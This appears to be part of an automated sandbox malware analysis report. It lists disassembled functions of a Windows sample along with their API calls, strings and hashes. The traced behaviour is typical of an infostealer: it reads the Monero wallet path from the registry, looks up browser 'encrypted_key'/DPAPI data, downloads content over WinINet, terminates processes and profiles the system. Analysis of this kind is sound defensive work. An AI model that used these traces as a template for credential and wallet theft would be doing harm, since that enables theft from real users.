Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowswsprintf
String ID: -B$:\$C
API String ID: 1325379522-1437955
Opcode ID: 013d7a5abd80eb44982cec66597c927420344f608520c3a884e76de014233dcd
Instruction ID: 562ad2215438343aebe80b64a3c577c541e91a378324e6c4921a498218fa886a
Opcode Fuzzy Hash: 013d7a5abd80eb44982cec66597c927420344f608520c3a884e76de014233dcd
Instruction Fuzzy Hash: D331A5B1E08219AFC714DFB89A44AEFBFB8EB18340F00016AE505E7650E2748A408BA5

Function 00401120 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 37registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00401135
HeapAlloc.KERNEL32(00000000), ref: 0040113C
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,?), ref: 00401159
RegQueryValueExA.ADVAPI32(?,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401173
RegCloseKey.ADVAPI32(?), ref: 0040117D

Strings

wallet_path, xrefs: 0040116D
SOFTWARE\monero-project\monero-core, xrefs: 0040114F

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 3466090806-4244082812
Opcode ID: 3eabf35694fb7367b255f32a536ab17974b5ca8c4e5d7cae6c54b1374e0763a8
Instruction ID: 429a39cc595111bc57384dbb44951e00fba51e8d3c52ba565137f0064186628b
Opcode Fuzzy Hash: 3eabf35694fb7367b255f32a536ab17974b5ca8c4e5d7cae6c54b1374e0763a8
Instruction Fuzzy Hash: D7F06D75A40308BFD7049BA09C89FEB7B7DEB04755F100059FE05E2290D6B05A448BE0

Function 0041177A Relevance: 12.1, APIs: 8, Instructions: 144stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 00411783
lstrcpy.KERNEL32(00000000,?), ref: 004117AC
lstrcpy.KERNEL32(00000000,?), ref: 004117D5
lstrcpy.KERNEL32(00000000,?), ref: 004118E6
lstrcpy.KERNEL32(00000000,00000000), ref: 0041190E
lstrcpy.KERNEL32(00000000,?), ref: 00411945

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 23a082e2906bc9a7c35eb7728663ef6cd3667eeae1cce57ca7dda3006ffaa83e
Instruction ID: 66611ffd0c1ffa2c846fdbe6c3837d1f028237e2601805ab750d8671934e4c11
Opcode Fuzzy Hash: 23a082e2906bc9a7c35eb7728663ef6cd3667eeae1cce57ca7dda3006ffaa83e
Instruction Fuzzy Hash: FE513170B112058BDB24EF79D9899EF77B4AF04304F00553EB856A73A1DE78DC848B95

Function 004116DA Relevance: 12.1, APIs: 8, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 004116E3
lstrcpy.KERNEL32(00000000,?), ref: 0041170C
lstrcpy.KERNEL32(00000000,?), ref: 00411734
lstrcpy.KERNEL32(00000000,?), ref: 004118E6
lstrcpy.KERNEL32(00000000,00000000), ref: 0041190E
lstrcpy.KERNEL32(00000000,?), ref: 00411945
FindNextFileA.KERNELBASE(00000000,?), ref: 0041196C

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindNext
String ID:
API String ID: 2017289724-0
Opcode ID: 649340d77b57689df55e858f7ceb6a1607e53b1feeac10f14c5440f191d6b7e8
Instruction ID: 4186dc2068c814baecaa748db1055e989b536e8970324b0adf3269028e9b02ff
Opcode Fuzzy Hash: 649340d77b57689df55e858f7ceb6a1607e53b1feeac10f14c5440f191d6b7e8
Instruction Fuzzy Hash: 6F513E70B112068BDB24EF79D98A9AF77B4AF04304F00553EB856A72A1DB78DC848B94

Function 00405640 Relevance: 12.1, APIs: 8, Instructions: 112networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040565A
RtlAllocateHeap.NTDLL(00000000), ref: 00405661
InternetOpenA.WININET(Function_0002CFF4,00000000,00000000,00000000,00000000), ref: 00405677
InternetOpenUrlA.WININET(00000000,00000001,00000000,00000000,04000100,00000000), ref: 00405692
InternetReadFile.WININET(?,?,00000400,00000001), ref: 004056BC
memcpy.MSVCRT(00000000,?,00000001), ref: 004056E1
InternetCloseHandle.WININET(?), ref: 004056FA
InternetCloseHandle.WININET(00000000), ref: 00405701

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 39bfd9abbbfd464b144cda71feed78c781dd4d2607ed895f946f54a5c8bb3dbb
Instruction ID: 71c2a2d1e8b1bff0245bb1ace4ede4100b9513cc3bd865d9341d2d7473e0af64
Opcode Fuzzy Hash: 39bfd9abbbfd464b144cda71feed78c781dd4d2607ed895f946f54a5c8bb3dbb
Instruction Fuzzy Hash: FB415C70A00605AFDB24CF54DD88B9BB7B5FF48304F14806AE909AB3D1D7759941CFA8

Function 00424950 Relevance: 12.1, APIs: 8, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,?), ref: 00424969
Process32First.KERNEL32(00000000,00000128), ref: 00424979
Process32Next.KERNEL32(00000000,00000128), ref: 0042498B
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004249AC
TerminateProcess.KERNEL32(00000000,00000000), ref: 004249BB
CloseHandle.KERNEL32(00000000), ref: 004249C2
Process32Next.KERNEL32(00000000,00000128), ref: 004249D0
CloseHandle.KERNEL32(00000000), ref: 004249DB

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: Process32$CloseHandleNextProcess$CreateFirstOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 3836391474-0
Opcode ID: 52672e04caeec890ace4a1d791050bff1080cdcf40c9c1db2d30368871fa3206
Instruction ID: 1dcc0a632c58819bc0603b9dca4f2ab71f075bb114674fc9a8b609d01bacb988
Opcode Fuzzy Hash: 52672e04caeec890ace4a1d791050bff1080cdcf40c9c1db2d30368871fa3206
Instruction Fuzzy Hash: 860180B1601224ABE7215B70AC89FEB776DEB48751F00118AF909D2290DFB49D908EA4

Function 0040E2FD Relevance: 10.9, APIs: 7, Instructions: 441stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0040E6C5
lstrcpy.KERNEL32(00000000,?), ref: 0040E6EE
lstrcpy.KERNEL32(00000000,?), ref: 0040E727
lstrcpy.KERNEL32(00000000,?), ref: 0040E74D
lstrcpy.KERNEL32(00000000,?), ref: 0040E784
FindNextFileA.KERNELBASE(00000000,?), ref: 0040E7BA
FindClose.KERNEL32(00000000), ref: 0040E7C9

Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401557
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401579
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 0040159B
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 004015FF

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$CloseFileNext
String ID:
API String ID: 1875835556-0
Opcode ID: 63f600ab1a1aa49fca04a84d266732dd028c809a7c09ab6d9d631dc671992d89
Instruction ID: c35b77a66baadc8340e054e00b3f814d90cf67069b49f44be4c7c24b5b5fae95
Opcode Fuzzy Hash: 63f600ab1a1aa49fca04a84d266732dd028c809a7c09ab6d9d631dc671992d89
Instruction Fuzzy Hash: 25020B71A012118FDB68CF2AC544B26B7E1AF44714B19C4BED809AB3E2D77AEC52CF44

Function 0040E363 Relevance: 10.9, APIs: 7, Instructions: 441stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0040E6C5
lstrcpy.KERNEL32(00000000,?), ref: 0040E6EE
lstrcpy.KERNEL32(00000000,?), ref: 0040E727
lstrcpy.KERNEL32(00000000,?), ref: 0040E74D
lstrcpy.KERNEL32(00000000,?), ref: 0040E784
FindNextFileA.KERNELBASE(00000000,?), ref: 0040E7BA
FindClose.KERNEL32(00000000), ref: 0040E7C9

Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401557
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401579
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 0040159B
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 004015FF

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$CloseFileNext
String ID:
API String ID: 1875835556-0
Opcode ID: 63f600ab1a1aa49fca04a84d266732dd028c809a7c09ab6d9d631dc671992d89
Instruction ID: c35b77a66baadc8340e054e00b3f814d90cf67069b49f44be4c7c24b5b5fae95
Opcode Fuzzy Hash: 63f600ab1a1aa49fca04a84d266732dd028c809a7c09ab6d9d631dc671992d89
Instruction Fuzzy Hash: 25020B71A012118FDB68CF2AC544B26B7E1AF44714B19C4BED809AB3E2D77AEC52CF44

Function 00409C70 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 123memorystringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000), ref: 00409CA8
LocalAlloc.KERNEL32(00000040,?), ref: 00409CDA
StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D03
memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D3C

Strings

, xrefs: 00409D65
DPAPI, xrefs: 00409D36
"encrypted_key":", xrefs: 00409CFD

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: AllocLocallstrcpymemcmp
String ID: $"encrypted_key":"$DPAPI
API String ID: 4154055062-738592651
Opcode ID: 9c0dbcde9a4f4cf7522ed1144c3ed940c8fa1d3153df1574746c44d7b6592d71
Instruction ID: 6c8d556d21e19e5d3b0639c321864ed51762282b360f53d65d825accd8ba46b4
Opcode Fuzzy Hash: 9c0dbcde9a4f4cf7522ed1144c3ed940c8fa1d3153df1574746c44d7b6592d71
Instruction Fuzzy Hash: 48418E31B0020A9BDB21EF69DD456AF77B4AF44308F04407AED15B72E3DA78AD04CB98

Function 00422AE0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00422AF5
HeapAlloc.KERNEL32(00000000), ref: 00422AFC
RegOpenKeyExA.KERNEL32(80000002,0086C988,00000000,00020119,00422A79), ref: 00422B1B
RegQueryValueExA.KERNEL32(00422A79,CurrentBuildNumber,00000000,00000000,00000000,000000FF), ref: 00422B35
RegCloseKey.ADVAPI32(00422A79), ref: 00422B3F

Strings

CurrentBuildNumber, xrefs: 00422B2F

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: eedc4f5b1c834951d409d8a86460196dbdad40995e2cb2646183cc9f75c04971
Instruction ID: e4efa8e5db0ad91907f3ecacc4057bf76477b8c471b957b80fd295e858fd28ec
Opcode Fuzzy Hash: eedc4f5b1c834951d409d8a86460196dbdad40995e2cb2646183cc9f75c04971
Instruction Fuzzy Hash: 43019E75A00318BFD314DFA0AC59FEB7BB9AB48741F100099FE4597241EAB169048BA0

Function 00422A50 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00422A65
HeapAlloc.KERNEL32(00000000), ref: 00422A6C

Part of subcall function 00422AE0: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00422AF5
Part of subcall function 00422AE0: HeapAlloc.KERNEL32(00000000), ref: 00422AFC
Part of subcall function 00422AE0: RegOpenKeyExA.KERNEL32(80000002,0086C988,00000000,00020119,00422A79), ref: 00422B1B
Part of subcall function 00422AE0: RegQueryValueExA.KERNEL32(00422A79,CurrentBuildNumber,00000000,00000000,00000000,000000FF), ref: 00422B35
Part of subcall function 00422AE0: RegCloseKey.ADVAPI32(00422A79), ref: 00422B3F

RegOpenKeyExA.KERNEL32(80000002,0086C988,00000000,00020119,00419650), ref: 00422AA1
RegQueryValueExA.KERNEL32(00419650,00871EE0,00000000,00000000,00000000,000000FF), ref: 00422ABC
RegCloseKey.ADVAPI32(00419650), ref: 00422AC6

Strings

Windows 11, xrefs: 00422A80

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: b642a3f9019f6a807e9ec53380fffd667bb34812bb00b42261cd3da1f3ae903b
Instruction ID: a9c7c9cb406362f8c98b7ce0903b7f6c91ff65f0f4129b57f21ef6d77cd7d43d
Opcode Fuzzy Hash: b642a3f9019f6a807e9ec53380fffd667bb34812bb00b42261cd3da1f3ae903b
Instruction Fuzzy Hash: 0D01AD71700319BFDB24DBA4AD49EEA777EEB44715F000159FE09D3290EAB499448BE0

Function 00409A80 Relevance: 9.1, APIs: 6, Instructions: 67filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,0040140E), ref: 00409A9A
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,0040140E), ref: 00409AB0
LocalAlloc.KERNEL32(00000040,?,?,?,?,0040140E), ref: 00409AC7
ReadFile.KERNEL32(00000000,00000000,?,0040140E,00000000,?,?,?,0040140E), ref: 00409AE0
LocalFree.KERNEL32(?,?,?,?,0040140E), ref: 00409B00
CloseHandle.KERNEL32(00000000,?,?,?,0040140E), ref: 00409B07

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 4d2679d76374c15b5343d257d3bb4c2d76248abe461406430b74ff22520ad5b8
Instruction ID: e07bc1cf37077e01f74a08ddf4965744106ae1532c602a75826c3d4cb70f4bb0
Opcode Fuzzy Hash: 4d2679d76374c15b5343d257d3bb4c2d76248abe461406430b74ff22520ad5b8
Instruction Fuzzy Hash: 97115E71600209AFE710DFA9DDC8AAB737DFB44350F10016AF901A72C1EB74AD50CBA4

Function 00423590 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?), ref: 004235BF
HeapAlloc.KERNEL32(00000000), ref: 004235C6
GlobalMemoryStatusEx.KERNEL32 ref: 004235E1
wsprintfA.USER32 ref: 00423607

Strings

%d MB, xrefs: 00423601

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 3644086013-2651807785
Opcode ID: 6476a7a4e21804b2a4dc54000014bbd5545afbf6c0da17dd2819ec863194e643
Instruction ID: f745a58c68087eb3aa24ae63b558da56d7927dba053d27f889372adceb470d32
Opcode Fuzzy Hash: 6476a7a4e21804b2a4dc54000014bbd5545afbf6c0da17dd2819ec863194e643
Instruction Fuzzy Hash: 7E01B5B1B04614AFD7089F98DD45B6EB7B9EB45711F50022EF906E7380D7B899008AE5

Function 0041BDB9 Relevance: 7.6, APIs: 6, Instructions: 130stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32 ref: 0041BDC0
lstrcpy.KERNEL32(00000000,?), ref: 0041BDEB
lstrcpy.KERNEL32(00000000,?), ref: 0041BE1E
lstrcpy.KERNEL32(00000000,?), ref: 0041BE49
lstrcpy.KERNEL32(00000000,?), ref: 0041BE79
lstrcpy.KERNEL32(00000000,?), ref: 0041BEA4

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 9509d10ed24e5e2f181a0db441ac4bff7b6eedd6e9bc254625d1f35c5518a15b
Instruction ID: 1165485b45a228435688a874cb73093b538e027e54e43e8f50fb408769be3a16
Opcode Fuzzy Hash: 9509d10ed24e5e2f181a0db441ac4bff7b6eedd6e9bc254625d1f35c5518a15b
Instruction Fuzzy Hash: 8A41C970B102158BCB21AF7AE98A59F77B4AF54304F14507AB84AB7291DE78EC448FD8

Function 00423300 Relevance: 7.6, APIs: 5, Instructions: 61registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00423336
HeapAlloc.KERNEL32(00000000), ref: 0042333D
RegOpenKeyExA.KERNEL32(80000002,0086C758,00000000,00020119,00000000), ref: 0042335C
RegQueryValueExA.KERNEL32(00000000,00872400,00000000,00000000,00000000,000000FF), ref: 00423377
RegCloseKey.ADVAPI32(00000000), ref: 00423381

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

